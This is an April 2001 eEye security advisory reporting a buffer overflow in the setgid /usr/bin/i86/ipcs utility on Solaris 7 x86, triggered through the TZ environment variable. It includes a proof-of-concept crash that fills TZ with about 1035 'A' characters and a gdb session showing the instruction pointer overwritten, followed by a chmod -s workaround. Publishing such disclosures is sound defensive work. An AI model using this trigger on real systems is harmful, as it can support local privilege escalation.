Date: Thu, 12 Apr 2001 18:07:08 -0700 From: Marc Maiffret <marc@EEYE.COM> Subject: Solaris ipcs vulnerability
Solaris ipcs vulnerability
April 11, 2001
Solaris 7 (x86)
Other versions of Solaris are most likely affected also.
Riley Hassell firstname.lastname@example.org
We have discovered a buffer overflow in the /usr/bin/i86/ipcs utility provided with Solaris 7. The problem exists in the parsing of the TZ (TIMEZONE) environment variable. By exploiting this vulnerability an attacker can achieve local sys group privileges. IPCS is used for gathering information on active inter-process communication facilities. Exploitation of this vulnerability would be very difficult, but not impossible.
bash-2.03$ TZ='perl -e 'print "A"x1035'' bash-2.03$ /usr/bin/i86/ipcs IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001 Message Queue facility inactive. T ID KEY MODE OWNER GROUP Shared Memory: m 0 0x500004d3 --rw-r--r-- root root Semaphore facility inactive. Segmentation Fault (core dumped) Note: [buffer] is any 1036 (or so) character string. A's... bash-2.03$ su root Password: # gdb /usr/bin/i86/ipcs core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are <snip> #0 0x41414141 in ?? () (gdb) info reg eip eip 0x41414141 0x41414141 (gdb)
Sun Microsystems has been contacted. They are currently working on patches for this and other related vulnerabilities eEye has discovered.
chmod -s /usr/bin/i86/ipcs
This will remove the setgid bit from /usr/bin/i86/ipcs, therefore if someone does exploit this vulnerability, they won?t gain higher privileges.
ADM, Ryan "shellcode ninja" Permeh, KAM, Lamagra, Zen-Parse, Loki, and last but not least- Speakeasy.net
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